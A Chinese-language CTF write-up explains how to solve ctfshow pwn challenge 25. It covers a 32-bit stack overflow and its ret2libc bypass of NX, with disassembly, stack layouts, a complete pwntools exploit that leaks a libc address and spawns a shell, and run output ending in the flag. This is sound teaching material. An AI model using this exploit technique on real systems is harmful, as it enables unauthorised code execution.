pwn_025 题解 — ret2libc 详解

一、题目信息

  • 来源:ctfshow pwn 前置基础第 25 题
  • 架构:32 位 ELF (i386),动态链接
  • 提示开启NX保护,或许可以试试ret2libc

二、保护机制分析

$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
保护状态影响
Canary栈溢出不会被检测到,可以自由覆盖返回地址
NX开启栈不可执行,不能直接放 shellcode 运行
PIE关闭程序代码段地址固定(0x8048000),PLT/GOT 地址已知
RELROPartialGOT 表可写,可以泄漏 GOT 中的函数真实地址

结论:NX 开了不能执行栈上 shellcode,但程序有 write 函数可以泄漏地址 → 用 ret2libc 攻击。


三、逆向分析

3.1 main 函数

int main() {
    setvbuf(stdin, 0, 2, 0);    // 关闭 stdin 缓冲
    setvbuf(stdout, 0, 1, 0);   // 关闭 stdout 缓冲
    ctfshow();                   // 调用漏洞函数
    logo();                      // 打印 logo
    write(1, "...", 14);         // 输出提示
    return 0;
}

main 函数依次调用 ctfshow()logo(),没有对输入做任何限制。

3.2 ctfshow 函数(漏洞函数)

080484f6 <ctfshow>:
  push   ebp                    ; 保存旧 ebp
  mov    ebp, esp               ; 建立新栈帧
  sub    esp, 0x84              ; 分配 132 字节局部变量空间
  ...
  lea    edx, [ebp-0x88]        ; buf 地址 = ebp - 0x88
  push   0x100                  ; 参数3: 读取长度 = 256
  push   edx                    ; 参数2: buf 地址
  push   0x0                    ; 参数1: fd = 0 (stdin)
  call   read@plt               ; read(0, buf, 256)
  ...
  leave                         ; mov esp, ebp; pop ebp
  ret                           ; 返回

对应的 C 代码:

void ctfshow() {
    char buf[136];              // ebp-0x88 处,实际 136 字节
    read(0, buf, 256);          // 从 stdin 读 256 字节到 buf
}

3.3 漏洞定位

项目
buf 起始位置ebp - 0x88
buf 到 saved_ebp 的距离0x88 = 136 字节
saved_ebp 大小4 字节
buf 到返回地址的距离0x88 + 4 = 140 字节
read 读取长度256 字节
可溢出空间256 - 140 = 116 字节

read 允许读 256 字节,但返回地址在偏移 140 处,多出的 116 字节足以覆盖返回地址并构造 ROP 链。


四、攻击原理:ret2libc

4.1 为什么不能直接执行 shellcode?

NX(No-eXecute)保护把栈标记为不可执行。即使我们把 shellcode 写到栈上,CPU 执行到栈上的指令会触发段错误。

4.2 ret2libc 的核心思想

既然不能执行栈上的代码,那就执行 libc 里已有的代码。libc 里有 system() 函数,调用 system("/bin/sh") 就能拿 shell。

问题:libc 每次加载的地址不同(ASLR),我们不知道 system 在哪。

解决:先用程序自己的 write 函数把 write 的真实地址泄漏出来,再根据偏移算出 system/bin/sh 的地址。

4.3 PLT 和 GOT 机制

调用 write() 的流程:

代码中 call write
    ↓
write@PLT (0x80483b0)          ← PLT:跳转表,地址固定
    ↓
jmp [write@GOT] (0x804a018)    ← GOT:存储真实地址,初始指向 PLT 解析代码
    ↓
动态链接器解析 write 真实地址
    ↓
把真实地址写回 write@GOT
    ↓
下次调用直接跳到真实地址
  • PLT(Procedure Linkage Table):地址固定,在代码段,我们可以直接调用
  • GOT(Global Offset Table):存储函数真实地址,第一次调用后会被填入 libc 中的真实地址

关键:write@GOT 里存的就是 write 函数在 libc 中的真实地址。如果我们能让程序把 write@GOT 的内容打印出来,就知道了 write 的真实地址。

4.4 libc 偏移原理

libc 像一个仓库,里面所有函数和字符串的相对位置是固定的

libc 内存布局:
┌─────────────────────────────────┐
│ libc 基址 (每次加载不同)          │
├─────────────────────────────────┤
│ write 函数   ← 偏移 0x000e1234   │  ← 固定值
├─────────────────────────────────┤
│ system 函数  ← 偏移 0x0003ada0   │  ← 固定值
├─────────────────────────────────┤
│ "/bin/sh"    ← 偏移 0x0017b8cf   │  ← 固定值
└─────────────────────────────────┘

公式:
  libc_base = write真实地址 - write偏移
  system地址 = libc_base + system偏移
  /bin/sh地址 = libc_base + "/bin/sh"偏移

只要知道一个函数的真实地址,就能算出 libc 基址,进而算出所有地址。


五、攻击流程

5.1 整体流程

─────────────────────────────────────────────────────────────┐
│  第一次溢出:泄漏 write 真实地址                               │
│                                                             │
│  payload1 → ctfshow.read() → 覆盖返回地址 → write@plt        │
│                                    → write(1, write_got, 4)  │
│                                    → 打印 write 真实地址      │
│                                    → 返回 main               │
│                                                             │
│  脚本 recv(4) → 得到 write 真实地址                           │
│  LibcSearcher → 算出 system 和 /bin/sh 地址                   │
├─────────────────────────────────────────────────────────────┤
│  第二次溢出:调用 system("/bin/sh")                            │
│                                                             │
│  payload2 → ctfshow.read() → 覆盖返回地址 → system            │
│                                    → system("/bin/sh")       │
│                                    → 拿到 shell               │
─────────────────────────────────────────────────────────────┘

5.2 第一次 payload 构造

目标:调用 write(1, write_got, 4),把 write@got 的内容(write 真实地址)打印出来。

32 位调用约定:参数从右到左压栈,函数返回后栈顶是返回地址。

栈布局(从低地址到高地址):

偏移      内容              说明
─────────────────────────────────────────────────
0x00     'A' * 140         填充 buf + saved_ebp
0x8C     write_plt         覆盖返回地址 → 跳转到 write
0x90     main_addr         write 的返回地址 → 回到 main
0x94     1                 参数1: fd = stdout
0x98     write_got         参数2: 要打印的地址
0x9C     4                 参数3: 打印 4 字节

执行流程:

1. ctfshow 的 ret 指令弹出 write_plt
2. CPU 跳转到 write@plt → 最终调用 write 函数
3. write 从栈上取参数:fd=1, buf=write_got, count=4
4. write 把 write_got 处的 4 字节(write 真实地址)打印到 stdout
5. 我们的脚本 recv(4) 收到这 4 字节
6. write 执行完,ret 弹出 main_addr → 回到 main
7. main 再次调用 ctfshow → 第二次 read 等待输入

5.3 地址计算

write_addr = u32(io.recv(4))          # 收到的 4 字节,如 0xf7e12340

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')    # 0xf7e12340 - 0x000e1234 = 0xf7d3110c

system_addr = libc_base + libc.dump('system')  # 0xf7d3110c + 0x0003ada0 = 0xf7d6beac
binsh_addr  = libc_base + libc.dump('str_bin_sh')  # 0xf7d3110c + 0x0017b8cf = 0xf7eacbdb

5.4 第二次 payload 构造

目标:调用 system("/bin/sh")

栈布局:

偏移      内容              说明
─────────────────────────────────────────────────
0x00     'A' * 140         填充 buf + saved_ebp
0x8C     system_addr       覆盖返回地址 → 跳转到 system
0x90     main_addr         system 的返回地址(任意值)
0x94     binsh_addr        参数1: "/bin/sh" 字符串地址

执行流程:

1. ctfshow 的 ret 指令弹出 system_addr
2. CPU 跳转到 system 函数
3. system 从栈上取参数:command = binsh_addr(指向 "/bin/sh")
4. system("/bin/sh") 执行 → 启动 shell
5. io.interactive() → 键盘直接连到 shell

六、Exploit 代码逐行解释

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'   # 打印所有收发数据,调试用
context.arch = 'i386'         # 32 位程序,必须指定

io = process('./pwn')         # 本地运行(远程改为 remote)
elf = ELF('./pwn')            # 加载 ELF,自动解析符号

# 关键地址
main_addr = elf.sym['main']   # 0x804862d,第一次泄漏后返回这里
write_plt = elf.plt['write']  # 0x80483b0,PLT 中 write 的入口
write_got = elf.got['write']  # 0x804a018,GOT 中 write 的真实地址存储处

# 填充长度:buf(0x88) + saved_ebp(4) = 140 字节
padding = b'A' * (0x88 + 4)

# ===== 第一次溢出 =====
payload1 = padding
payload1 += p32(write_plt)    # 返回地址 → write@plt
payload1 += p32(main_addr)    # write 返回 → main
payload1 += p32(1)            # 参数1: fd = stdout
payload1 += p32(write_got)    # 参数2: 要泄漏的地址
payload1 += p32(4)            # 参数3: 4 字节

io.sendline(payload1)
write_addr = u32(io.recv(4))  # 接收 write 真实地址
print(f'[+] write 真实地址: {hex(write_addr)}')

# ===== 计算 libc 地址 =====
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

print(f'[+] libc_base: {hex(libc_base)}')
print(f'[+] system: {hex(system_addr)}')
print(f'[+] /bin/sh: {hex(binsh_addr)}')

# ===== 第二次溢出 =====
payload2 = padding
payload2 += p32(system_addr)  # 返回地址 → system
payload2 += p32(main_addr)    # system 返回地址(任意)
payload2 += p32(binsh_addr)   # 参数: "/bin/sh"

io.sendline(payload2)
io.interactive()              # 交互模式,拿 shell

七、运行结果

$ python exploit.py
[+] Starting local process './pwn': pid 12345
[+] write 真实地址: 0xf7e12340
[+] libc_base: 0xf7d3110c
[+] system: 0xf7d6beac
[+] /bin/sh: 0xf7eacbdb
[*] Switching to interactive mode
$ ls
flag  pwn  exploit.py
$ cat flag
ctfshow{d9d2b79e-9ca2-4beb-94c8-c81eb105fa68}

八、常见问题

Q1: LibcSearcher 匹配到多个版本怎么办?

手动指定 libc 版本:

libc = LibcSearcher('write', write_addr, libc_version='libc6_2.23-0ubuntu10_i386')

常见 CTF libc 版本:

  • Ubuntu 16.04: libc6_2.23-0ubuntu10_i386
  • Ubuntu 18.04: libc6_2.27-3ubuntu1_i386
  • Ubuntu 20.04: libc6_2.31-0ubuntu9_i386

Q2: 如果有 libc 文件怎么办?

直接用 ELF 加载,不需要 LibcSearcher:

libc = ELF('./libc.so.6')
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

Q3: 为什么返回地址要填 main_addr?

为了让程序重新执行 ctfshow 函数,给我们第二次溢出的机会。如果填其他地址(如 exit),程序会直接退出,无法进行第二次攻击。

Q4: 为什么不用 shellcode?

NX 保护开启了,栈不可执行。即使把 shellcode 写到栈上,CPU 执行时会触发段错误。ret2libc 是 NX 开启后的标准解法。


九、知识点总结

知识点说明
栈溢出输入长度 > 缓冲区大小,覆盖返回地址
NX 保护栈不可执行,需要 ret2libc
PLT/GOTPLT 地址固定,GOT 存储真实地址
地址泄漏用 write/puts 打印 GOT 内容,获取 libc 函数真实地址
libc 偏移所有函数相对 libc 基址的偏移固定
ret2libc返回到 libc 中的 system 函数,参数为 “/bin/sh”
两次溢出第一次泄漏地址,第二次执行 system
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lcreek

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值